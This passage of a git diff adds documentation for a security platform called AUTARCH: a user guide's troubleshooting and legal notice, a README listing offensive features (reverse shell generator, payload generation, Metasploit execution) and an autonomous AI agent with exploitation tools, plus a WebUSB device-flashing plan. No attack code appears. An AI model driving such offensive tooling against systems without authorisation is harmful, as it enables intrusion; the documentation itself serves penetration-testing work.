||||||
|
msf_search(query) - Search modules
|
||||||
|
msf_module_info(module) - Get module info
|
||||||
|
msf_module_options(module) - Get module options
|
||||||
|
msf_execute(module, options) - Execute module
|
||||||
|
msf_sessions() - List sessions
|
||||||
|
msf_session_command(id, cmd) - Run session command
|
||||||
|
msf_console(command) - Direct console
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Troubleshooting
|
||||||
|
|
||||||
|
### Common Issues
|
||||||
|
|
||||||
|
**LLM not loading:**
|
||||||
|
- Verify model_path in autarch_settings.conf
|
||||||
|
- Check file permissions on model file
|
||||||
|
- Ensure sufficient RAM for model size
|
||||||
|
|
||||||
|
**MSF connection failed:**
|
||||||
|
- Verify msfrpcd is running: `msfrpcd -P password -S`
|
||||||
|
- Check host/port in settings
|
||||||
|
- Verify password is correct
|
||||||
|
|
||||||
|
**Module not appearing:**
|
||||||
|
- Ensure module has `CATEGORY` attribute
|
||||||
|
- Ensure module has `run()` function
|
||||||
|
- Check for syntax errors
|
||||||
|
|
||||||
|
**Adult scanner false positives:**
|
||||||
|
- Some sites return 200 for all requests
|
||||||
|
- Use content-based detection for those sites
|
||||||
|
- Verify with a known username
|
||||||
|
|
||||||
|
### Debug Mode
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Enable verbose output
|
||||||
|
python autarch.py --verbose
|
||||||
|
|
||||||
|
# Check configuration
|
||||||
|
python autarch.py --show-config
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Security Notice
|
||||||
|
|
||||||
|
AUTARCH is designed for **authorized security testing only**. Users are responsible for:
|
||||||
|
|
||||||
|
- Obtaining proper authorization before testing
|
||||||
|
- Complying with all applicable laws
|
||||||
|
- Using tools ethically and responsibly
|
||||||
|
|
||||||
|
**Do not use for:**
|
||||||
|
- Unauthorized access
|
||||||
|
- Harassment or stalking
|
||||||
|
- Any illegal activities
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Version History
|
||||||
|
|
||||||
|
| Version | Date | Changes |
|
||||||
|
|---------|------|---------|
|
||||||
|
| 1.0 | 2026-01-14 | Initial release |
|
||||||
|
| 1.1 | 2026-01-14 | Added custom site management |
|
||||||
|
| 1.2 | 2026-01-14 | Added auto-detect patterns |
|
||||||
|
| 1.3 | 2026-01-14 | Added bulk import |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Credits
|
||||||
|
|
||||||
|
**Project AUTARCH**
|
||||||
|
By darkHal Security Group and Setec Security Labs
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
*For development history, see DEVLOG.md*
|
||||||
172
README.md
Normal file
172
README.md
Normal file
@ -0,0 +1,172 @@
|
|||||||
|
# AUTARCH
|
||||||
|
|
||||||
|
**Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking**
|
||||||
|
|
||||||
|
By **darkHal Security Group** & **Setec Security Labs**
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Overview
|
||||||
|
|
||||||
|
AUTARCH is a modular security platform combining defensive hardening, offensive testing, forensic analysis, OSINT reconnaissance, and attack simulation into a single web-based dashboard. It features local and cloud LLM integration, an autonomous AI agent, hardware device management over WebUSB, and a companion Android application.
|
||||||
|
|
||||||
|
## Features
|
||||||
|
|
||||||
|
- **Defense** — System hardening audits, firewall checks, permission analysis, security scoring
|
||||||
|
- **Offense** — Metasploit & RouterSploit integration, module execution with live SSE streaming
|
||||||
|
- **Counter** — Threat detection, suspicious process analysis, rootkit checks, network monitoring
|
||||||
|
- **Analyze** — File forensics, hash toolkit (43 algorithm patterns), hex dumps, string extraction, log analysis
|
||||||
|
- **OSINT** — Email/username/phone/domain/IP reconnaissance, 7,287+ indexed sites
|
||||||
|
- **Simulate** — Attack simulation, port scanning, password auditing, payload generation
|
||||||
|
- **Hardware** — ADB/Fastboot over WebUSB, ESP32 flashing via Web Serial, dual-mode (server + direct)
|
||||||
|
- **Android Protection** — Anti-stalkerware/spyware shield, signature-based scanning, permission auditing
|
||||||
|
- **Agent Hal** — Autonomous AI agent with tool use, available as a global chat panel
|
||||||
|
- **Hash Toolkit** — Hash algorithm identification (hashid-style), file/text hashing, hash mutation, threat intel lookups
|
||||||
|
- **Enc Modules** — Encrypted module system for sensitive payloads
|
||||||
|
- **Reverse Shell** — Multi-language reverse shell generator
|
||||||
|
- **WireGuard VPN** — Tunnel management and remote device access
|
||||||
|
- **UPnP** — Automated port forwarding
|
||||||
|
- **Wireshark** — Packet capture and analysis via tshark/pyshark
|
||||||
|
- **MSF Console** — Web-based Metasploit console with live terminal
|
||||||
|
- **Debug Console** — Real-time Python logging output with 5 filter modes
|
||||||
|
|
||||||
|
## Architecture
|
||||||
|
|
||||||
|
```
|
||||||
|
autarch.py # Main entry point (CLI + web server)
|
||||||
|
core/ # 25+ Python modules (agent, config, hardware, llm, msf, etc.)
|
||||||
|
modules/ # 26 loadable modules (defense, offense, counter, analyze, osint, simulate)
|
||||||
|
web/
|
||||||
|
app.py # Flask app factory (16 blueprints)
|
||||||
|
routes/ # 15 route files
|
||||||
|
templates/ # 16 Jinja2 templates
|
||||||
|
static/ # JS, CSS, WebUSB bundles
|
||||||
|
autarch_companion/ # Archon Android app (Kotlin)
|
||||||
|
data/ # SQLite DBs, JSON configs, stalkerware signatures
|
||||||
|
```
|
||||||
|
|
||||||
|
## Quick Start
|
||||||
|
|
||||||
|
### From Source
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Clone
|
||||||
|
git clone https://github.com/digijeth/autarch.git
|
||||||
|
cd autarch
|
||||||
|
|
||||||
|
# Install dependencies
|
||||||
|
pip install -r requirements.txt
|
||||||
|
|
||||||
|
# Run
|
||||||
|
python autarch.py
|
||||||
|
```
|
||||||
|
|
||||||
|
The web dashboard starts at `https://localhost:8080` (self-signed cert).
|
||||||
|
|
||||||
|
### Windows Installer
|
||||||
|
|
||||||
|
Download `autarch_public.msi` or `autarch_public.exe` from the [Releases](https://github.com/digijeth/autarch/releases) page.
|
||||||
|
|
||||||
|
## Configuration
|
||||||
|
|
||||||
|
Settings are managed via `autarch_settings.conf` (auto-generated on first run) and the web UI Settings page.
|
||||||
|
|
||||||
|
Key sections: `[server]`, `[llm]`, `[msf]`, `[wireguard]`, `[upnp]`, `[hardware]`
|
||||||
|
|
||||||
|
### LLM Backends
|
||||||
|
|
||||||
|
- **Local** — llama-cpp-python (GGUF models) or HuggingFace Transformers (SafeTensors)
|
||||||
|
- **Claude** — Anthropic Claude API
|
||||||
|
- **OpenAI** — OpenAI-compatible API (custom endpoint support)
|
||||||
|
- **HuggingFace** — HuggingFace Inference API (8 provider options)
|
||||||
|
|
||||||
|
## Ports
|
||||||
|
|
||||||
|
| Port | Service |
|
||||||
|
|-------|---------|
|
||||||
|
| 8080 | Web Dashboard (HTTPS) |
|
||||||
|
| 8081 | MCP Server (SSE) |
|
||||||
|
| 17321 | Archon Server (Android companion) |
|
||||||
|
| 17322 | Reverse Shell Listener |
|
||||||
|
| 51820 | WireGuard VPN |
|
||||||
|
|
||||||
|
## Platform Support
|
||||||
|
|
||||||
|
- **Primary:** Linux (Orange Pi 5 Plus, RK3588 ARM64)
|
||||||
|
- **Supported:** Windows 10/11 (x86_64)
|
||||||
|
- **WebUSB:** Chromium-based browsers required for Direct mode hardware access
|
||||||
|
|
||||||
|
## Acknowledgements
|
||||||
|
|
||||||
|
AUTARCH builds on the work of many outstanding open-source projects. We thank and acknowledge them all:
|
||||||
|
|
||||||
|
### Frameworks & Libraries
|
||||||
|
|
||||||
|
- [Flask](https://flask.palletsprojects.com/) — Web application framework
|
||||||
|
- [Jinja2](https://jinja.palletsprojects.com/) — Template engine
|
||||||
|
- [llama.cpp](https://github.com/ggml-org/llama.cpp) — Local LLM inference engine
|
||||||
|
- [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) — Python bindings for llama.cpp
|
||||||
|
- [HuggingFace Transformers](https://github.com/huggingface/transformers) — ML model library
|
||||||
|
- [Anthropic Claude API](https://docs.anthropic.com/) — Cloud LLM backend
|
||||||
|
- [FastMCP](https://github.com/jlowin/fastmcp) — Model Context Protocol server
|
||||||
|
|
||||||
|
### Security Tools
|
||||||
|
|
||||||
|
- [Metasploit Framework](https://github.com/rapid7/metasploit-framework) — Penetration testing framework
|
||||||
|
- [RouterSploit](https://github.com/threat9/routersploit) — Router exploitation framework
|
||||||
|
- [Nmap](https://nmap.org/) — Network scanner and mapper
|
||||||
|
- [Wireshark / tshark](https://www.wireshark.org/) — Network protocol analyzer
|
||||||
|
- [Scapy](https://scapy.net/) — Packet crafting and analysis
|
||||||
|
- [WireGuard](https://www.wireguard.com/) — Modern VPN tunnel
|
||||||
|
|
||||||
|
### Hardware & Mobile
|
||||||
|
|
||||||
|
- [@yume-chan/adb](https://github.com/nicola-nicola/nicola-nicola) — ADB over WebUSB
|
||||||
|
- [android-fastboot](https://github.com/nicola-nicola/nicola-nicola) — Fastboot over WebUSB
|
||||||
|
- [esptool-js](https://github.com/nicola-nicola/nicola-nicola) — ESP32 flashing in browser
|
||||||
|
- [Android Platform Tools](https://developer.android.com/tools/releases/platform-tools) — ADB & Fastboot CLI
|
||||||
|
- [esptool](https://github.com/nicola-nicola/nicola-nicola) — ESP32 firmware flashing
|
||||||
|
- [pyserial](https://github.com/pyserial/pyserial) — Serial port communication
|
||||||
|
- [pyshark](https://github.com/KimiNewt/pyshark) — Wireshark Python interface
|
||||||
|
- [scrcpy](https://github.com/Genymobile/scrcpy) — Android screen mirroring
|
||||||
|
- [libadb-android](https://github.com/nicola-nicola/nicola-nicola) — ADB client for Android
|
||||||
|
|
||||||
|
### Python Libraries
|
||||||
|
|
||||||
|
- [bcrypt](https://github.com/pyca/bcrypt) — Password hashing
|
||||||
|
- [requests](https://github.com/psf/requests) — HTTP client
|
||||||
|
- [msgpack](https://github.com/msgpack/msgpack-python) — Serialization (Metasploit RPC)
|
||||||
|
- [cryptography](https://github.com/pyca/cryptography) — Cryptographic primitives
|
||||||
|
- [PyCryptodome](https://github.com/Legrandin/pycryptodome) — AES encryption
|
||||||
|
- [Pillow](https://github.com/python-pillow/Pillow) — Image processing
|
||||||
|
- [qrcode](https://github.com/lincolnloop/python-qrcode) — QR code generation
|
||||||
|
- [zeroconf](https://github.com/python-zeroconf/python-zeroconf) — mDNS service discovery
|
||||||
|
- [PyInstaller](https://github.com/pyinstaller/pyinstaller) — Executable packaging
|
||||||
|
- [cx_Freeze](https://github.com/marcelotduarte/cx_Freeze) — MSI installer packaging
|
||||||
|
|
||||||
|
### Android / Kotlin
|
||||||
|
|
||||||
|
- [AndroidX](https://developer.android.com/jetpack/androidx) — Jetpack libraries
|
||||||
|
- [Material Design 3](https://m3.material.io/) — UI components
|
||||||
|
- [Conscrypt](https://github.com/nicola-nicola/nicola-nicola) — SSL/TLS provider for Android
|
||||||
|
|
||||||
|
### Build Tools
|
||||||
|
|
||||||
|
- [esbuild](https://esbuild.github.io/) — JavaScript bundler
|
||||||
|
- [Gradle](https://gradle.org/) — Android build system
|
||||||
|
|
||||||
|
### Data Sources
|
||||||
|
|
||||||
|
- [NVD API v2.0](https://nvd.nist.gov/developers/vulnerabilities) — National Vulnerability Database
|
||||||
|
|
||||||
|
## License
|
||||||
|
|
||||||
|
Restricted Public Release. Authorized use only — activity is logged.
|
||||||
|
|
||||||
|
## Disclaimer
|
||||||
|
|
||||||
|
AUTARCH is a security research and authorized penetration testing platform. Use only on systems you own or have explicit written authorization to test. Unauthorized access to computer systems is illegal. The authors accept no liability for misuse.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
*Built with discipline by darkHal Security Group & Setec Security Labs.*
|
||||||
2
activate.sh
Normal file
2
activate.sh
Normal file
@ -0,0 +1,2 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
source "$(dirname "$(realpath "$0")")/venv/bin/activate"
|
||||||
376
android_plan.md
Normal file
376
android_plan.md
Normal file
@ -0,0 +1,376 @@
|
|||||||
|
# AUTARCH Android Plan - Browser-Based Hardware Access
|
||||||
|
## darkHal Security Group
|
||||||
|
**Created:** 2026-02-14
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Problem Statement
|
||||||
|
|
||||||
|
The current hardware module (Phase 4.5) is **server-side only**: Flask routes call `adb`/`fastboot`/`esptool` as subprocess commands on the AUTARCH server. This works when devices are physically plugged into the server (e.g., Orange Pi), but does NOT allow a remote user to flash a device plugged into their own machine.
|
||||||
|
|
||||||
|
**Goal:** Add **browser-based direct USB/Serial access** using WebUSB and Web Serial APIs, so users can flash devices plugged into their local machine through the AUTARCH web interface. Keep the existing server-side mode as a fallback.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Architecture: Dual-Mode Hardware Access
|
||||||
|
|
||||||
|
```
|
||||||
|
┌─────────────────────────────────────┐
|
||||||
|
│ AUTARCH Web Dashboard │
|
||||||
|
│ hardware.html │
|
||||||
|
│ │
|
||||||
|
│ ┌─────────┐ ┌──────────────┐ │
|
||||||
|
│ │ SERVER │ │ DIRECT │ │
|
||||||
|
│ │ MODE │ │ MODE │ │
|
||||||
|
│ │ │ │ │ │
|
||||||
|
│ │ Flask │ │ WebUSB / │ │
|
||||||
|
│ │ API │ │ Web Serial │ │
|
||||||
|
│ │ calls │ │ (browser JS) │ │
|
||||||
|
│ └────┬────┘ └──────┬───────┘ │
|
||||||
|
└────────┼────────────────┼───────────┘
|
||||||
|
│ │
|
||||||
|
┌────────▼────┐ ┌──────▼───────┐
|
||||||
|
│ AUTARCH │ │ User's │
|
||||||
|
│ Server │ │ Browser │
|
||||||
|
│ (Orange Pi)│ │ ↕ USB/Serial│
|
||||||
|
│ ↕ USB │ │ ↕ Device │
|
||||||
|
│ ↕ Device │ └──────────────┘
|
||||||
|
└─────────────┘
|
||||||
|
|
||||||
|
Server Mode: device ↔ server ↔ Flask API ↔ browser (existing)
|
||||||
|
Direct Mode: device ↔ browser (WebUSB/Web Serial) ↔ JS libs (NEW)
|
||||||
|
```
|
||||||
|
|
||||||
|
**Server Mode** = Existing implementation. Device plugged into server. Flask calls adb/fastboot/esptool as subprocesses. Works in any browser.
|
||||||
|
|
||||||
|
**Direct Mode** = NEW. Device plugged into user's machine. Browser talks directly to device via WebUSB (ADB, Fastboot) or Web Serial (ESP32). Requires Chromium-based browser (Chrome, Edge, Brave, Opera).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## JavaScript Libraries
|
||||||
|
|
||||||
|
### 1. ADB — ya-webadb / Tango
|
||||||
|
- **npm:** `@yume-chan/adb`, `@yume-chan/adb-daemon-webusb`, `@yume-chan/stream-extra`
|
||||||
|
- **License:** MIT
|
||||||
|
- **API:** WebUSB → ADB protocol (shell, file sync, reboot, logcat, install, scrcpy)
|
||||||
|
- **Source:** https://github.com/yume-chan/ya-webadb
|
||||||
|
- **Key classes:**
|
||||||
|
- `AdbDaemonWebUsbDeviceManager` — enumerate/request USB devices
|
||||||
|
- `AdbDaemonWebUsbDevice` — wrap USB device for ADB transport
|
||||||
|
- `AdbDaemonTransport` — handshake + auth
|
||||||
|
- `Adb` — main interface (shell, sync, subprocess, reboot)
|
||||||
|
- **Usage pattern:**
|
||||||
|
```js
|
||||||
|
const manager = new AdbDaemonWebUsbDeviceManager(navigator.usb);
|
||||||
|
const device = await manager.requestDevice(); // USB permission prompt
|
||||||
|
const connection = await device.connect();
|
||||||
|
const transport = await AdbDaemonTransport.authenticate({connection, ...});
|
||||||
|
const adb = new Adb(transport);
|
||||||
|
const output = await adb.subprocess.spawnAndWait('ls /sdcard');
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2. Fastboot — fastboot.js (kdrag0n)
|
||||||
|
- **npm:** `android-fastboot`
|
||||||
|
- **License:** MIT
|
||||||
|
- **API:** WebUSB → Fastboot protocol (getvar, flash, boot, reboot, OEM unlock)
|
||||||
|
- **Source:** https://github.com/niccolozy/fastboot.js (fork of kdrag0n), used by ArKT-7/nabu
|
||||||
|
- **Key classes:**
|
||||||
|
- `FastbootDevice` — connect, getVariable, flashBlob, reboot, flashFactoryZip
|
||||||
|
- **Usage pattern:**
|
||||||
|
```js
|
||||||
|
const device = new FastbootDevice();
|
||||||
|
await device.connect(); // USB permission prompt
|
||||||
|
const product = await device.getVariable('product');
|
||||||
|
await device.flashBlob('boot', blob, (progress) => updateUI(progress));
|
||||||
|
await device.reboot();
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3. ESP32 — esptool-js (Espressif)
|
||||||
|
- **npm:** `esptool-js`
|
||||||
|
- **License:** Apache-2.0
|
||||||
|
- **API:** Web Serial → ESP32 ROM bootloader (chip detect, flash, erase, read MAC)
|
||||||
|
- **Source:** https://github.com/niccolozy/esptool-js (Espressif)
|
||||||
|
- **Key classes:**
|
||||||
|
- `ESPLoader` — main class, connect/detectChip/writeFlash
|
||||||
|
- `Transport` — Web Serial wrapper
|
||||||
|
- **Usage pattern:**
|
||||||
|
```js
|
||||||
|
const port = await navigator.serial.requestPort();
|
||||||
|
await port.open({ baudRate: 115200 });
|
||||||
|
const transport = new Transport(port);
|
||||||
|
const loader = new ESPLoader({ transport, baudrate: 115200 });
|
||||||
|
await loader.main(); // connect + detect chip
|
||||||
|
console.log('Chip:', loader.chipName);
|
||||||
|
await loader.writeFlash({ fileArray: [{data: firmware, address: 0x0}],
|
||||||
|
flashSize: 'keep', progressCallback: fn });
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Build Strategy: Pre-bundled ESM
|
||||||
|
|
||||||
|
Since AUTARCH uses vanilla JS (no React/webpack/build system), we need browser-ready bundles of the npm libraries.
|
||||||
|
|
||||||
|
**Approach:** Use `esbuild` to create self-contained browser bundles, saved as static JS files.
|
||||||
|
|
||||||
|
```
|
||||||
|
web/static/js/
|
||||||
|
├── app.js # Existing (1,477 lines)
|
||||||
|
├── lib/
|
||||||
|
│ ├── adb-bundle.js # ya-webadb bundled (ESM → IIFE)
|
||||||
|
│ ├── fastboot-bundle.js # fastboot.js bundled
|
||||||
|
│ └── esptool-bundle.js # esptool-js bundled
|
||||||
|
└── hardware-direct.js # NEW: Direct-mode logic (~500 lines)
|
||||||
|
```
|
||||||
|
|
||||||
|
**Build script** (`scripts/build-hw-libs.sh`):
|
||||||
|
```bash
|
||||||
|
#!/bin/bash
|
||||||
|
# One-time build — output goes into web/static/js/lib/
|
||||||
|
# Only needed when updating library versions
|
||||||
|
|
||||||
|
npm install --save-dev esbuild
|
||||||
|
npm install @yume-chan/adb @yume-chan/adb-daemon-webusb @yume-chan/stream-extra android-fastboot esptool-js
|
||||||
|
|
||||||
|
# Bundle each library into browser-ready IIFE
|
||||||
|
npx esbuild src/adb-entry.js --bundle --format=iife --global-name=YumeAdb --outfile=web/static/js/lib/adb-bundle.js
|
||||||
|
npx esbuild src/fastboot-entry.js --bundle --format=iife --global-name=Fastboot --outfile=web/static/js/lib/fastboot-bundle.js
|
||||||
|
npx esbuild src/esptool-entry.js --bundle --format=iife --global-name=EspTool --outfile=web/static/js/lib/esptool-bundle.js
|
||||||
|
```
|
||||||
|
|
||||||
|
**Entry point files** (thin wrappers that re-export what we need):
|
||||||
|
```js
|
||||||
|
// src/adb-entry.js
|
||||||
|
export { AdbDaemonWebUsbDeviceManager, AdbDaemonWebUsbDevice } from '@yume-chan/adb-daemon-webusb';
|
||||||
|
export { AdbDaemonTransport, Adb, AdbSync } from '@yume-chan/adb';
|
||||||
|
|
||||||
|
// src/fastboot-entry.js
|
||||||
|
export { FastbootDevice, setDebugLevel } from 'android-fastboot';
|
||||||
|
|
||||||
|
// src/esptool-entry.js
|
||||||
|
export { ESPLoader, Transport } from 'esptool-js';
|
||||||
|
```
|
||||||
|
|
||||||
|
The pre-built bundles are committed to `web/static/js/lib/` so no npm/node is needed at runtime. The build script is only run when updating library versions.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Implementation Phases
|
||||||
|
|
||||||
|
### Phase A: Build Infrastructure & Library Bundles
|
||||||
|
**Files:** `package.json`, `scripts/build-hw-libs.sh`, `src/*.js`, `web/static/js/lib/*.js`
|
||||||
|
|
||||||
|
1. Create `package.json` in project root (devDependencies only — not needed at runtime)
|
||||||
|
2. Create entry-point files in `src/` for each library
|
||||||
|
3. Create build script `scripts/build-hw-libs.sh`
|
||||||
|
4. Run build, verify bundles work in browser
|
||||||
|
5. Add `node_modules/` to `.gitignore` equivalent (cleanup notes)
|
||||||
|
|
||||||
|
**Deliverable:** Three bundled JS files in `web/static/js/lib/`
|
||||||
|
|
||||||
|
### Phase B: Direct-Mode JavaScript Module
|
||||||
|
**Files:** `web/static/js/hardware-direct.js` (~500 lines)
|
||||||
|
|
||||||
|
Core module providing a unified API that mirrors the existing server-mode functions:
|
||||||
|
|
||||||
|
```js
|
||||||
|
// hardware-direct.js — Browser-based device access
|
||||||
|
|
||||||
|
const HWDirect = {
|
||||||
|
// State
|
||||||
|
supported: { webusb: !!navigator.usb, webserial: !!navigator.serial },
|
||||||
|
adbDevice: null, // current ADB connection
|
||||||
|
fbDevice: null, // current Fastboot connection
|
||||||
|
espLoader: null, // current ESP32 connection
|
||||||
|
espTransport: null,
|
||||||
|
|
||||||
|
// ── ADB (WebUSB) ────────────────────────────────
|
||||||
|
async adbRequestDevice() { ... }, // navigator.usb.requestDevice()
|
||||||
|
async adbConnect(usbDevice) { ... }, // handshake + auth → Adb instance
|
||||||
|
async adbShell(cmd) { ... }, // adb.subprocess.spawnAndWait
|
||||||
|
async adbReboot(mode) { ... }, // adb.power.reboot / bootloader / recovery
|
||||||
|
async adbInstall(blob) { ... }, // adb install APK
|
||||||
|
async adbPush(blob, path) { ... }, // adb.sync().write()
|
||||||
|
async adbPull(path) { ... }, // adb.sync().read() → Blob download
|
||||||
|
async adbLogcat(lines) { ... }, // adb subprocess logcat
|
||||||
|
async adbGetInfo() { ... }, // getprop queries
|
||||||
|
async adbDisconnect() { ... },
|
||||||
|
|
||||||
|
// ── Fastboot (WebUSB) ────────────────────────────
|
||||||
|
async fbRequestDevice() { ... }, // FastbootDevice.connect()
|
||||||
|
async fbGetInfo() { ... }, // getVariable queries
|
||||||
|
async fbFlash(partition, blob, progressCb) { ... },
|
||||||
|
async fbReboot(mode) { ... },
|
||||||
|
async fbOemUnlock() { ... },
|
||||||
|
async fbDisconnect() { ... },
|
||||||
|
|
||||||
|
// ── ESP32 (Web Serial) ───────────────────────────
|
||||||
|
async espRequestPort() { ... }, // navigator.serial.requestPort()
|
||||||
|
async espConnect(port, baud) { ... }, // Transport + ESPLoader.main()
|
||||||
|
async espDetectChip() { ... }, // loader.chipName
|
||||||
|
async espFlash(fileArray, progressCb) { ... },
|
||||||
|
async espMonitorStart(outputCb) { ... },
|
||||||
|
async espMonitorSend(data) { ... },
|
||||||
|
async espMonitorStop() { ... },
|
||||||
|
async espDisconnect() { ... },
|
||||||
|
|
||||||
|
// ── Factory Flash (PixelFlasher PoC) ─────────────
|
||||||
|
async factoryFlash(zipBlob, options, progressCb) { ... },
|
||||||
|
};
|
||||||
|
```
|
||||||
|
|
||||||
|
### Phase C: UI Integration — Mode Switcher & Direct Controls
|
||||||
|
**Files:** `web/templates/hardware.html`, `web/static/js/app.js`
|
||||||
|
|
||||||
|
1. **Mode toggle** at top of hardware page:
|
||||||
|
```
|
||||||
|
[Connection Mode] ○ Server (device on AUTARCH host) ● Direct (device on this PC)
|
||||||
|
```
|
||||||
|
- Direct mode shows browser compatibility warning if WebUSB/Serial not supported
|
||||||
|
- Direct mode shows "Pair Device" buttons (triggers USB/Serial permission prompts)
|
||||||
|
|
||||||
|
2. **Modify existing JS functions** to check mode:
|
||||||
|
```js
|
||||||
|
// In app.js, each hw*() function checks the mode:
|
||||||
|
async function hwRefreshAdbDevices() {
|
||||||
|
if (hwConnectionMode === 'direct') {
|
||||||
|
// Use HWDirect.adbRequestDevice() / enumerate
|
||||||
|
} else {
|
||||||
|
// Existing: fetchJSON('/hardware/adb/devices')
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
3. **New UI elements for direct mode:**
|
||||||
|
- "Connect ADB Device" button (triggers WebUSB permission prompt)
|
||||||
|
- "Connect Fastboot Device" button (triggers WebUSB permission prompt)
|
||||||
|
- "Connect Serial Port" button (triggers Web Serial permission prompt)
|
||||||
|
- File picker for firmware uploads (local files, no server upload needed)
|
||||||
|
- Progress bars driven by JS callbacks instead of SSE streams
|
||||||
|
|
||||||
|
4. **Keep all existing server-mode UI** — just add the mode switch.
|
||||||
|
|
||||||
|
### Phase D: PixelFlasher Proof-of-Concept
|
||||||
|
**Files:** `web/static/js/hardware-direct.js` (factoryFlash section), `web/templates/hardware.html` (new tab/section)
|
||||||
|
|
||||||
|
Inspired by PixelFlasher's workflow, create a "Flash Factory Image" feature:
|
||||||
|
|
||||||
|
1. **Upload factory image ZIP** (via file input, read in browser — no server upload)
|
||||||
|
2. **Parse ZIP contents** (identify flash-all.sh/bat, partition images)
|
||||||
|
3. **Display flash plan** (list of partitions + images to flash, with sizes)
|
||||||
|
4. **Safety checks:**
|
||||||
|
- Verify device product matches image (getVariable product vs ZIP name)
|
||||||
|
- Check bootloader unlock status
|
||||||
|
- Warn about data wipe partitions (userdata, metadata)
|
||||||
|
- Show A/B slot info if applicable
|
||||||
|
5. **Options:**
|
||||||
|
- [ ] Flash all partitions (default)
|
||||||
|
- [ ] Skip userdata (preserve data)
|
||||||
|
- [ ] Disable vbmeta verification (for custom ROMs)
|
||||||
|
- [ ] Flash to inactive slot (A/B devices)
|
||||||
|
6. **Execute flash sequence:**
|
||||||
|
- Reboot to bootloader if in ADB mode
|
||||||
|
- Flash each partition with progress bar
|
||||||
|
- Reboot to system
|
||||||
|
7. **Boot image patching** (future — Magisk/KernelSU integration)
|
||||||
|
|
||||||
|
### Phase E: Polish & Testing
|
||||||
|
1. Error handling for all WebUSB/Serial operations (device disconnected mid-flash, permission denied, etc.)
|
||||||
|
2. Browser compatibility detection and graceful degradation
|
||||||
|
3. Connection status indicators (connected device info in header)
|
||||||
|
4. Reconnection logic if USB device resets during flash
|
||||||
|
5. Update `autarch_dev.md` with completed phase notes
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## File Changes Summary
|
||||||
|
|
||||||
|
### New Files
|
||||||
|
| File | Purpose | Est. Lines |
|
||||||
|
|------|---------|-----------|
|
||||||
|
| `package.json` | npm deps for build only | 20 |
|
||||||
|
| `scripts/build-hw-libs.sh` | esbuild bundler script | 25 |
|
||||||
|
| `src/adb-entry.js` | ya-webadb re-export | 5 |
|
||||||
|
| `src/fastboot-entry.js` | fastboot.js re-export | 3 |
|
||||||
|
| `src/esptool-entry.js` | esptool-js re-export | 3 |
|
||||||
|
| `web/static/js/lib/adb-bundle.js` | Built bundle | ~varies |
|
||||||
|
| `web/static/js/lib/fastboot-bundle.js` | Built bundle | ~varies |
|
||||||
|
| `web/static/js/lib/esptool-bundle.js` | Built bundle | ~varies |
|
||||||
|
| `web/static/js/hardware-direct.js` | Direct-mode logic | ~500 |
|
||||||
|
|
||||||
|
### Modified Files
|
||||||
|
| File | Changes |
|
||||||
|
|------|---------|
|
||||||
|
| `web/templates/hardware.html` | Add mode toggle, direct-mode connect buttons, factory flash section, script includes |
|
||||||
|
| `web/static/js/app.js` | Add mode switching to all hw*() functions |
|
||||||
|
| `web/static/css/style.css` | Styles for mode toggle, connect buttons, compatibility warnings |
|
||||||
|
|
||||||
|
### Unchanged
|
||||||
|
| File | Reason |
|
||||||
|
|------|--------|
|
||||||
|
| `core/hardware.py` | Server-mode backend stays as-is |
|
||||||
|
| `web/routes/hardware.py` | Server-mode routes stay as-is |
|
||||||
|
| `modules/hardware_local.py` | CLI module stays as-is |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Browser Compatibility
|
||||||
|
|
||||||
|
| Feature | Chrome | Edge | Firefox | Safari |
|
||||||
|
|---------|--------|------|---------|--------|
|
||||||
|
| WebUSB (ADB/Fastboot) | 61+ | 79+ | No | No |
|
||||||
|
| Web Serial (ESP32) | 89+ | 89+ | No | No |
|
||||||
|
|
||||||
|
**Fallback:** Users with Firefox/Safari use Server Mode (device plugged into AUTARCH host). Direct Mode requires Chromium-based browser.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Security Considerations
|
||||||
|
|
||||||
|
1. **WebUSB requires HTTPS** in production (or localhost). AUTARCH currently runs plain HTTP. For direct mode to work remotely, either:
|
||||||
|
- Run behind a reverse proxy with TLS (nginx/caddy)
|
||||||
|
- Use localhost (device and browser on same machine)
|
||||||
|
- Use the server-mode fallback instead
|
||||||
|
|
||||||
|
2. **USB permission prompts** — The browser shows a native device picker. Users must explicitly select their device. No access without user gesture.
|
||||||
|
|
||||||
|
3. **Flash safety checks** — Same partition whitelist as server mode. Confirm dialogs before destructive operations. Product verification before factory flash.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Implementation Order
|
||||||
|
|
||||||
|
```
|
||||||
|
Phase A → Phase B → Phase C → Phase D → Phase E
|
||||||
|
(libs) (JS API) (UI) (PoC) (polish)
|
||||||
|
|
||||||
|
~1 session ~1 session ~1 session ~1 session ~1 session
|
||||||
|
```
|
||||||
|
|
||||||
|
Start with Phase A (build the library bundles) since everything else depends on having working JS libraries available in the browser.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## PixelFlasher Feature Mapping
|
||||||
|
|
||||||
|
| PixelFlasher Feature | AUTARCH Implementation | Phase |
|
||||||
|
|---------------------|----------------------|-------|
|
||||||
|
| Factory image flash | ZIP upload → parse → flash sequence | D |
|
